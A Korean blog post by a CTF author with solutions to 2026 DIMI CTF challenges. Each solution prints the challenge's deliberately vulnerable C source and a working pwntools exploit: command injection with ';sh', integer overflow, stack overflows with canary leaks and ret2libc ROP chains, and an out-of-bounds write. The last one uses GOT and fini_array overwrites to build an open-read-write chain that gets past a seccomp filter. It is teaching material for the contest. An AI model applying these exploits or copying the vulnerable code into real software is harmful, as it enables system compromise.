카테고리 없음

2026 DIMICTF 해설

onleaf 2026. 3. 8. 22:23

안녕하세요? 2026 DIMI CTF 출제자 onLeaf입니다.

바로 해설 시작하겠습니다.

 

Blue Box (MISC)

문제 사진

위와 같이 플래그 위에 파란 박스가 가려져 있습니다.

이미지를 hxd로 열어보면

위와 같이 끝에 이상한 값이 존재합니다.

저 값을 Dreamhack Tools에서 입력하고 마법의 봉을 두 번 딸깍하시면

위와 같이 플래그를 얻으실 수 있습니다.

 

flag : DIMI{7h15_15_v3ry_51mp13,_15n'7_17?}

행복한 수학 (MISC)

Author가 Lyla4지만 문제 파일은 제가 만들었기에 제가 해설하게 되었습니다.

c언어 파일이 주어지지 않은 문제입니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
void Init() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void win(){
    system("/bin/sh");
}

int main(){
    int a;
    int b;
    int c;
    int answer = 0;
    int correct = 0;
    srand(time(NULL));
    Init();

    for (int i = 0; i < 500; i++){
        a = rand() % 1000 + 1;
        b = rand() % 1000 + 1;
        c = rand() % 4 + 1;
        printf("your solve counts : %d\n",correct);
        if (c == 1){
            printf("%d * %d = ?\n",a,b);
            printf("> ");
            scanf("%d",&answer);
            if (answer == a*b){
                puts("Correct!");
                correct++;
            }
            else{
                printf("The answer was %d\n",a*b);
                break;
            }
        }
        else if (c == 2){
            printf("%d / %d = ?\n",a,b);
            printf("> ");
            scanf("%d",&answer);
            if (answer == a/b){
                puts("Correct!");
                correct++;
            }
            else{
                printf("The answer was %d\n",a/b);
                break;
            }
        }
        else if (c == 3){
            printf("%d + %d = ?\n",a,b);
            printf("> ");
            scanf("%d",&answer);
            if (answer == a+b){
                puts("Correct!");
                correct++;
            }
            else{
                printf("The answer was %d\n",a*b);
                break;
            }
        }
        else if (c == 4){
            printf("%d - %d = ?\n",a,b);
            printf("> ");
            scanf("%d",&answer);
            if (answer == a-b){
                puts("Correct!");
                correct++;
            }
            else{
                printf("The answer was %d\n",a*b);
                break;
            }
        }
    }
    if (correct == 500){
        win();
    }
    else{
        puts("loser~~");
    }
    return 0;
}

prob.c 입니다.

 

pwntools 연습문제로 두 수 a, b를 받고 연산자를 받은 후 연산된 값을 보내는 행위를 500번 반복하면 됩니다. 

from pwn import *

#p = process('./prob')
p = remote("39.118.211.92", 32948)

for i in range(500):
    print(p.recvuntil(b'your solve counts : '))
    print(p.recvline())

    expr_line = p.recvline().decode().strip()
    print(expr_line)
    parts = expr_line.split()
    if len(parts) < 3:
        break

    a = int(parts[0])
    op = parts[1]
    b = int(parts[2])

    if op == '+':
        ans = a + b
    elif op == '-':
        ans = a - b
    elif op == '*':
        ans = a * b
    elif op == '/':
        ans = a // b
    else:
        break

    p.sendlineafter(b'> ', str(ans))
    p.recvuntil(b'\n')

p.interactive()

 

flag : DIMI{H4NG_SIUUUUUUUUUUUUUUU!}

 

출제자 비난하기 (MISC)

특정 문제의 특정 이슈에 대한 문제가 너무 많아 급하게 출제한 문제입니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void Init() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void binan(int *score){
    puts("Good job!!\n");
    *score += 1;
    return;
}

void chingchan(int *score){
    puts("you're bad!!\n");
    *score -= 1000000;
    return;
}

int main(){
    int score = 0;
    int choose = 0;
    int check = 0;
    int c;
    Init();

    puts("Catch the flag by binaning Cmon and Lyla4 200 million times!!\n");

    while (check == 0){
        puts("=====================");
        puts("1. binan hagi");
        puts("2. chingchan hagi");
        puts("=====================");
        printf("Now score : %d\n",score);
        printf("> ");

        if(scanf("%d", &choose) != 1){
            while((c = getchar()) != '\n' && c != EOF){
                continue;
            }
        }

        switch (choose){
            case 1:
                binan(&score);
                break;
            case 2:
                chingchan(&score);
                break;
            default:
                puts("just binan okay?\n");
                break;
        }
        if (score == 199999999){
            puts("binan is bad!!");
            exit(0);
        }
        else if (score >= 200000000){
            puts("Congratulations!");
            check = 1;
        }
        choose = 0;
    }

    FILE *fp = fopen("flag", "r");

    if(fp == NULL){
        perror("there is no flag file");
        return 1;
    }

    char buf[512];
    while (fgets(buf, sizeof(buf), fp) != NULL){
        fputs(buf, stdout);
    }
    fclose(fp);

    return 0;
}

prob.c 입니다.

 

코드를 보면 score는 비난을 할 시 1점이 오르고 칭찬을 하면 1000000점이 감소합니다.

또한, 199999999점이면 exit를, 200000000점 이상이면 flag를 출력합니다.

 

여기서 int overflow를 떠올릴 수 있습니다. 

int min 값 -2147483648보다 작아지면 매우 큰 양수가 되는 것을 이용하여

score 값을 200000000점 이상으로 조작할 수 있습니다.

from pwn import *

#p = process('./prob')
p = remote('39.118.211.92', 34058)

for i in range(2148):
    p.sendline(b'2')
p.recvuntil(b'Congratulations!\n')
print(p.recvline().decode('utf-8'))

 

flag : DIMI{비난은_나빠요_다들_출제자를_앞으로도_응원해주세요!!}

 

이상한 프린터 (PWN)

c언어 파일이 제공되지 않은 문제입니다.

#include <stdio.h>
#include <stdlib.h>

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

int main(){
    char command[16];
    char buf[100];

    initialize();

    printf("Input: ");
    scanf("%15s",command);

    snprintf(buf, sizeof(buf), "echo %s", command);
    system(buf);
    return 0;
}

prob.c 입니다.

 

입력받은 문자에 echo를 붙여 system으로 실행하는 코드입니다.

 

따라서 Command Injection 중 ; (명령어 구분)을 써 쉘을 호출하시면 됩니다.

 

아래를 입력하시면 풀 수 있습니다.

;sh

 

flag : DIMI{;sh?_&sh?_n0_m4tT2r}

 

Brain Overflow (PWN)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

//gcc prob.c -o prob -fno-stack-protector -no-pie

void Init() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void win(){
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};

    execve("/bin/sh", argv, envp);
}

int main(){
    char recipe[16];

    Init();
    memset(recipe, 0, sizeof(recipe));

    puts("I want to eat a Pancake, Please tell me the recipe");

    gets(recipe);

    if (strlen(recipe) > 20){
        puts("I can't remember sorry T.T");
        exit(-1);
    }

    puts("Thanks!!");

    return 0;
}

prob.c입니다.

 

입력을 gets로 받는 것을 보아 BOF 문제임을 알 수 있습니다.

하지만 strlen으로 길이 제한을 두고 있습니다. 이는 널 문자(\x00)로 우회할 수 있습니다.

 

예를 들어, AAAAA\x00AAAAAA로 입력을 하게 된다면 strlen의 결과는 5가 됩니다.

결과적으로 recipe에 널 문자를 하나 포함하여 Return Address 전까지 덮은 후 win 함수의 주소를 쓰면 쉘을 딸 수 있습니다.

from pwn import *

#p = process('./prob')
p = remote('39.118.211.92',32961)
e = ELF('./prob')

win = e.symbols["win"]

pay = b'\x00' + b'A'*23 + p64(win)
p.sendlineafter(b"I want to eat a Pancake, Please tell me the recipe", pay)
p.interactive()

 

flag : DIMI{여러분의_팬케이크_레시피는_무엇인가요!?}

 

Easy login (PWN)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

//gcc prob.c -o prob -no-pie

char user_id[16] = "freshman";
char password[8] = "DIMICTF";

void Init() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void win(){
    system("/bin/sh");
}

int main(){
    char buf[8];
    int choose = 0;

    Init();
    while (1){
        choose = 0;
        memset(buf, 0, sizeof(buf));
        printf("password?\n");
        scanf("%7s",buf);

        if (strcmp(buf,password) != 0){
            printf("Password is incorrect");
            exit(-1);
        }
        printf("Welcome, %s\n",user_id);

        if (strcmp(user_id,"admin") == 0){
            win();
        }
        while (choose != -99){
            memset(buf, 0, sizeof(buf));
            printf("1. change the password\n");
            printf("2. change the id\n");
            printf("3. write a note\n");
            printf("4. logout\n");
            printf("> ");
            scanf("%d",&choose);

            switch (choose){
                case 1:
                    printf("write a index : ");
                    scanf("%d",&choose);

                    if (choose > 7){
                        printf("index is too big\n");
                        break;
                    }

                    printf("new password : ");
                    scanf(" %c", &password[choose]);
                    choose = 0;
                    break;
                case 2:
                    printf("write a new id : ");
                    scanf("%7s",buf);
                    if (strcmp(buf,"admin") == 0){
                        printf("Banned ID\n");
                        break;
                    }

                    strcpy(user_id,buf);
                    break;
                case 3:
                    printf("write a note : ");
                    scanf("%7s",buf);
                    break;
                case 4:
                    choose = -99;
                    break;
                default:
                    printf("Write a correct number\n");

            }
        }
    }
    return 0;
}

prob.c 입니다.

 

위 코드를 보면 id가 admin이면 win 함수를 호출하는 것을 알 수 있습니다.

하지만 id 변경 기능에서는 admin을 제외한 id로만 변경할 수 있습니다.

 

취약한 부분은 비밀번호 변경 부분입니다. index를 입력받는데 음수 제한을 두지 않아 OOB 취약점이 존재합니다.

 

또, IDA로 분석해 보면 password와 id 사이의 거리는 16바이트임을 알 수 있습니다. (이에 대한 설명은 여기서는 하지 않겠습니다.)

 

따라서, index 입력 시 -16을 입력한다면 freshman의 f부분을 조작할 수 있습니다.

from pwn import *

p = process("./prob")
p.sendlineafter("password?\n", "DIMICTF")
admin = "admin\x00\x00\x00"
cnt=0
for i in range(-16, -8, 1):
    p.sendlineafter("> ", "1")
    p.sendlineafter(": ", str(i).encode())
    p.sendlineafter(": ", admin[cnt])
    cnt += 1
p.sendlineafter("> ", "4")
p.sendlineafter("password?\n", "DIMICTF")
p.interactive()

이 문제는 pwntools 없이도 해결할 수 있습니다.

password?
DIMICTF
Welcome, freshman
1. change the password
2. change the id
3. write a note
4. logout
> 2
write a new id : sdmin
1. change the password
2. change the id
3. write a note
4. logout
> 1
write a index : -16
new password : a
1. change the password
2. change the id
3. write a note
4. logout
> 4
password?
DIMICTF
Welcome, admin
$ $ cat flag
DIMI{Omg_Omg_B3c0Me_4n_4dm1N}$

 

flag : DIMI{Omg_Omg_B3c0Me_4n_4dm1N}

카나리아 키우기 (PWN)

c언어 파일이 제공되지 않은 문제입니다.

(위 문제는 2024 Layer7 CTF plusminus 문제를 참고하였습니다.)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

//gcc prob.c -o prob -m64 -fstack-protector -O0 -no-pie -fcf-protection=none

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void win(){
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};

    execve("/bin/sh", argv, envp);
}

int main(void) {
    int buf[2] = {0};

    initialize();
    for (int i = 0; i <= 7; i++) {
        scanf("%d", &buf[i]);
    }

    return 0;
}

prob.c 입니다.

 

IDA로 분석해 보면 buf[1]에 카나리가 저장됨을 알 수 있습니다.

또한, OOB 취약점이 존재함을 알 수 있습니다.

 

scanf는 + 혹은 -를 입력하여 건너뛸 수 있습니다.

from pwn import *

#p = process('./prob')
p = remote('39.118.211.92',33924)

for i in range(6):
    p.sendline(b'+')

p.sendline(b'4198877')
p.sendline(b'0')

p.interactive()

 

flag : DIMI{Cc4naRi_Bbiyak_bB1y4k}

Last dance (PWN)

c언어 파일이 제공되지 않은 문제입니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <inttypes.h>

//gcc prob.c -o prob -O0 -fstack-protector -no-pie -fno-pie -Wl,-z,relro -Wl,-z,noexecstack -fcf-protection=none

static int check = 0;

void Init() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

static uint64_t read_u64(void) {
    char buf[64];
    if (!fgets(buf, sizeof(buf), stdin)) exit(1);
    return strtoull(buf, NULL, 0);
}

int main(){
    char buf[64];

    Init();
    memset(buf, 0, sizeof(buf));
    if (check == 0){
        puts("Last chance!!");
        uint64_t val = read_u64();
        uint64_t addr = read_u64();

        *(uint64_t*)addr = val;
        check = 1;
    }
    read(0, buf, 128);
    printf("%s",buf);
    return 0;
}

prob.c 입니다.

 

aaw 취약점이 한번 존재하며 BOF 취약점이 존재합니다.

 

이 문제엔 카나리가 걸려있어 stack_chk_fail의 got를 main 내부로 만들고 카나리를 덮어준다면 카나리 릭과 함께 main으로 복귀하게 됩니다.

또한 두 번째로는 리턴주소를 읽어 libc base까지 알아낼 수 있습니다. (이때 카나리를 한번 더 덮어야 합니다.)

마지막으로 ROP를 하면 쉘을 딸 수 있습니다.

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

#p = process('./prob')
p = remote('39.118.211.92', 32955)
e = ELF('./prob')
libc = ELF('./libc.so.6')

main_loop = 0x4012C5
stack_chk_fail = 0x404008

# stack_chk_fail -> main내부
p.sendlineafter(b'Last chance!!\n', str(main_loop).encode())
p.sendline(str(stack_chk_fail).encode())

# canary leak
p.send(b'A' * 73)
p.recvuntil(b'A' * 73)
canary = u64(b'\x00' + p.recvn(7))
slog('canary', canary)

# libc base leak
pay = b'A'*72 + b'B'*8 + b'C'*8
p.send(pay)
p.recvuntil(b'A'*72)
p.recvn(16)

lb = u64(p.recvn(6).ljust(8, b'\x00'))
lb = lb - 0x2a1ca
slog('libc base', lb)

#exploit
ret = 0x40101a
pop_rdi = lb + 0x10f78b
binsh = lb + 0x1cb42f
system = lb + 0x58750

pay = b'A'*72 + p64(canary) + b'B'*8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.send(pay)

p.interactive()

 

flag : DIMI{나는_이_노랠_부르며_문제를_풀러_갈거야_BIGBANG-Last-dance}

My first game v1.0 (PWN)

c언어 파일이 제공되지 않은 문제입니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <sys/random.h>
#include <stdint.h>
//gcc prob.c -o prob -m64 -fstack-protector -O0 -no-pie -fcf-protection=none
void initialize(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

char *pr[] = {"0","red","green","yellow","purple","white","alpha","DIMI","Sunny","house"};

uint32_t randomm(uint32_t range) {
    if (range < 2) return 0;

    uint32_t r;
    uint32_t limit = UINT32_MAX - (UINT32_MAX % range);

    while (1) {
        if (getrandom(&r, sizeof(r), 0) != sizeof(r)) {
            perror("getrandom");
            exit(1);
        }

        if (r < limit)
            return r % range;
    }
}

uint32_t between(uint32_t min, uint32_t max){
    return min + randomm(max - min + 1);
}

int main(){
    int ct = 4;
    char answer[128];
    char your_write[128];

    initialize();

    memset(answer,0,sizeof(answer));
    memset(your_write,0,sizeof(your_write));

    puts("What is your name?");
    read(0, your_write, 0x100);

    printf("Hello %s!\n",your_write);
    puts("Welcome to the Memory game.");
    sleep(2);
    puts("Before we start, let me explain the rules.");
    sleep(2);
    puts("When the game starts, I will show you colors or words one by one.");
    sleep(3);
    puts("You start memorizing the colors or words that appear one by one.");
    sleep(3);
    puts("When asked to write the answer, you can simply write the numbers corresponding to the words or colors in order all at once.");
    sleep(4);
    puts("Here is an example.");
    sleep(2);
    puts("1. red");
    puts("2. green");
    puts("================");
    printf("red");
    fflush(stdout);
    sleep(1);

    printf("\r\033[2K");
    printf("green");
    fflush(stdout);
    sleep(1);
    printf("\r\033[2K");
    sleep(2);
    puts("The answer is 12.");
    sleep(4);
    puts("This game has 100 rounds, and clearing them all will display a flag.");
    sleep(4);
    puts("Now..");
    sleep(2);
    puts("Let's start the game");
    sleep(3);
    printf("\033[H\033[J");
    fflush(stdout);
    while (1){
        for (int i = 1; i <= 100; i++){
            useconds_t delay = (useconds_t)(3000000.0 / i);
            printf("Round %d\n",i);
            memset(answer,0,sizeof(answer));
            memset(your_write,0,sizeof(your_write));
            puts("1. red");
            puts("2. green");
            puts("3. yellow");
            puts("4. purple");
            if (i >= 20){
                ct = 6;
                puts("5. white");
                puts("6. alpha");
            }
            if (i >= 50){
                ct = 8;
                puts("7. DIMI");
                puts("8. Sunny");
            }
            if (i >= 80){
                ct = 9;
                puts("9. house");
            }
            puts("==================");
            for (int j = 1; j <= i; j++){
                int r = between(1,ct);
                answer[j-1] = '0' + r;
                printf("%s",pr[r]);
                fflush(stdout);
                usleep(delay);
                printf("\r\033[2K");
                usleep(100000);
            }
            answer[i] = '\n';
            printf("> ");
            read(0, your_write, 0x100);
            if (strcmp(answer, your_write) == 0){
                puts("Correct!");
                sleep(1);
                printf("\033[H\033[J");
                fflush(stdout);
                if (i == 100){
                    FILE *fp = fopen("flag", 1);

                    if(fp == NULL){
                        perror("there is no flag file");
                        return 1;
                    }

                    while (fgets(your_write, sizeof(your_write), fp) != NULL){
                        fputs(your_write, stdout);
                    }
                    fclose(fp);
                    exit(-1);
                }
            }
            else{
                memset(your_write,0,sizeof(your_write));
                break;
            }
        }
        puts("play again?");
        read(0, your_write, 1);
        while (getchar() != '\n');
        if (your_write[0] != 'y'){
            break;
        }
        printf("\033[H\033[J");
        fflush(stdout);
    }
    return 0;
}

prob.c 입니다.

 

코드를 보면 BOF 발생 지점이 2개가 되는 것을 알 수 있습니다.

또한 처음 BOF 지점에서는 출력도 해주는 것을 알 수 있습니다.

 

처음에 카나리 릭을 하고 두 번째 BOF를 통해 main리턴을 하려고 하면 Return address 값이 0x0으로 되어 터져버리게 됩니다.

 

따라서 _start로 리턴해 Return address 값을 libc 내부로 맞춰줌과 동시에 main으로 리턴할 수 있습니다.

 

리턴시 다시 처음 BOF 지점에서 Return address 값을 통해 libc base 릭이 가능합니다.

두번째 BOF 지점에서 payload를 보내고 게임을 종료하면 쉘을 딸 수 있습니다.

from pwn import *

context.log_level = 'debug'

def slog(name, addr): return success(': '.join([name, hex(addr)]))

#p = process('./prob')
p = remote('39.118.211.92',32953)
e = ELF('./prob')

start = 0x401150

#canary leak
p.sendafter(b'name?',b'A'*137)

p.recvuntil(b'A'*137)

canary = u64(b'\x00' + p.recvn(7))

slog('canary', canary)

#return main // _start에서 libc start main 호출하기 위한 세팅

pay = b'A'*136 + p64(canary) + b'B'*8 + p64(start)
pay += p64(1) + p64(0x4022eb) + p64(0)*4

p.sendafter(b'> ',pay)

p.sendlineafter(b'play again?',b'n')

#libc base leak
p.sendafter(b'name?',b'A'*152)

p.recvuntil(b'A'*152)

lb = p.recvuntil(b'!',drop=True)
lb = u64(lb.ljust(8,b'\x00')) - 0x29d90

slog('libc base',lb)

#exploit
pop_rdi = lb + 0x2a3e5
ret = lb + 0x29139
binsh = lb + 0x1d8678
system = lb + 0x50d70

pay = b'A'*136 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)

p.sendafter(b'> ',pay)

p.sendlineafter(b'play again?',b'n')

p.interactive()

 

flag : DIMI{사실_이_문제_100라운드_도달하면_fake_flag줄려했었는데_코드_작동_안하게_짠거_기억나서_못했어요_ㅜㅜ}

 

Infinity dance (PWN)

c언어 파일이 제공되지 않은 문제입니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <inttypes.h>
#include <stddef.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <sys/prctl.h>
#include <sys/syscall.h>

// gcc prob.c -o prob -Os -fstack-protector-all -no-pie -fno-pie \
//   -Wl,-z,norelro -Wl,-z,noexecstack -Wl,-T,order.ld \
//   -falign-functions=1 -fno-inline -s

long long input(void);
void init_seccomp(void);

__attribute__((section(".text.secret"), noinline, used))
void secret(){
    puts("go away");
    sleep(1);
    return;
}

__attribute__((section(".text.main"), noinline, used))
int main(){
    char val;
    uint64_t addr = 0;

    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);

    init_seccomp();

    val = (char)input();
    addr = (uint64_t)input();
    *(char *)addr = val;

    return 0;
}

__attribute__((section(".text.after_main"), noinline, used, destructor(65535)))
static void my_fini(void){
    asm volatile("" ::: "memory");
}

long long input(void){
    long long result = 0;
    char c;

    while (1){
        c = getchar();
        if (c == '\n')
            break;

        result = result * 10 + (c - '0');
    }
    return result;
}

void init_seccomp(void){
    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD  | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 0, 5),

        BPF_STMT(BPF_LD  | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve,   2, 0),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 1, 0),

        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    };

    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
        .filter = filter,
    };

    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1){
        perror("prctl(NO_NEW_PRIVS)");
        exit(1);
    }

    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1){
        perror("prctl(SECCOMP)");
        exit(1);
    }
}

prob.c 입니다.

 

위 코드를 보면 execve 혹은 execveat을 호출 시 kill이 되는 것을 알 수 있습니다.

따라서 Open Read Write(ORW) 를 통해 플래그를 읽는 방식을 떠올릴 수 있습니다.

 

취약점은 임의 주소에 1바이트 쓰기를 할 수 있다는 점입니다.

 

1바이트 쓰는 행위는 코드 상으론 1번만 가능한데, fini array[1]과 _stack_chk_fail, sleep got를 조작하면 무한 루프를 만들 수 있습니다.

 

무한 루프를 만든 후 setbuf와 stderr을 puts의 plt와 다른 함수의 got로 바꾼다면 got leak을 통해 libc base leak이 가능합니다.

위 방법을 한번 더 이용해서 environ을 릭하게 된다면 스택 주소까지 알 수 있습니다.

 

이제 ORW chain을 작성할 차례입니다.

.bss 영역에 chain을 작성하고 setbuf를 setcontext의 got로 바꿔 fake stack으로 실행 흐름을 넘깁니다.

 

fake stack에 작성한 ORW chain이 실행되며 flag를 얻을 수 있습니다.

from pwn import *

def slog(name, addr): print(': '.join([name, hex(addr)]))

p = remote('39.118.211.92', 33145)
#p = process('./prob')
e = ELF('./prob')
libc = ELF('./libc-2.27.so')

fini1 = 0x600C98
stack_chk_fail_got = 0x600EA0
setbuf_got = 0x600EA8
prctl_got = 0x600EB8
sleep_got = 0x600ED0
stdout_ptr = 0x600F00
stderr_ptr = 0x600F20

ctx = 0x600D00
msg = 0x600F40
fake_stack = 0x600B00
buf = 0x600FC0

puts_plt = 0x400620
write_gadget = 0x400717

prctl_libc = 0x122210
setcontext_35 = 0x52085
pop_rdi_ret = 0x2164F
pop_rsi_ret = 0x23A6A
pop_rdx_ret = 0x1B96
pop_rax_ret = 0x1B500
syscall_ret = 0x10FA65
environ = libc.symbols['environ']


def write1(value, addr):
    p.sendline(str(value & 0xff).encode())
    p.sendline(str(addr).encode())


def write8(addr, value):
    for i in range(8):
        write1((value >> (8 * i)) & 0xff, addr + i)


def writes(addr, data):
    for i, value in enumerate(data):
        write1(value, addr + i)


def leak(addr):
    writes(msg, b'AAAAAAAA\x00')
    write8(stdout_ptr, addr)
    write8(stderr_ptr, msg)
    write8(setbuf_got, puts_plt)
    write1(0xf6, stack_chk_fail_got)

    data = p.recvuntil(b'AAAAAAAA\n')
    data = data[:-len(b'AAAAAAAA\n')]
    if data.endswith(b'\n'):
        data = data[:-1]

    write1(0x90, stack_chk_fail_got)
    return data


def write_ctx(first):
    for offset in [0x28, 0x30, 0x48, 0x50, 0x58, 0x60, 0x78, 0x80, 0x98]:
        write8(ctx + offset, 0)

    write8(ctx + 0x68, 1)
    write8(ctx + 0x70, msg)
    write8(ctx + 0x88, 5)
    write8(ctx + 0xa0, fake_stack + 8)
    write8(ctx + 0xa8, first)


def write_chain(chain):
    addr = fake_stack + 8
    for value in chain:
        write8(addr, value)
        addr += 8


write1(0x17, fini1)
write1(0xf6, stack_chk_fail_got)
write1(0x12, setbuf_got)
write8(sleep_got, write_gadget)
write1(0x90, stack_chk_fail_got)

prctl = u64(leak(prctl_got).ljust(8, b'\x00'))
lb = prctl - prctl_libc
environ = u64(leak(lb + environ).ljust(8, b'\x00'))

slog('libc base', lb)
slog('environ', environ)

setcontext = lb + setcontext_35
pop_rax = lb + pop_rax_ret
pop_rdi = lb + pop_rdi_ret
pop_rsi = lb + pop_rsi_ret
pop_rdx = lb + pop_rdx_ret
syscall = lb + syscall_ret

flag = msg

pay = [
    3,
    pop_rax, 3,
    pop_rdi, 3,
    syscall,
    pop_rax, 257,
    pop_rdi, -100 & 0xffffffffffffffff,
    pop_rsi, flag,
    pop_rdx, 0,
    syscall,
    pop_rax, 0,
    pop_rdi, 3,
    pop_rsi, buf,
    pop_rdx, 0x40,
    syscall,
    pop_rax, 1,
    pop_rdi, 1,
    pop_rsi, buf,
    pop_rdx, 0x40,
    syscall,
]

writes(flag, b'/home/freshman/flag\x00')
write_chain(pay)
write_ctx(pop_rdi)
write8(stdout_ptr, ctx)
write8(setbuf_got, setcontext)
write1(0xf6, stack_chk_fail_got)

flag = p.recvline(timeout=2).strip().rstrip(b'\x00')
print(flag.decode())

p.close()

이 문제는 0솔로 남길 빌었지만 1학년부 2명, 3학년부 1명 총 3분이 푸셨더라구요.. 대단하십니다ㄷㄷ

 

이상으로 제가 출제한 모든 문제의 해설을 마칩니다.

추가적으로 궁금한 사항이 있다면 DIMI CTF 디스코드의 onLeaf로 연락해 주시면 답변해드리겠습니다.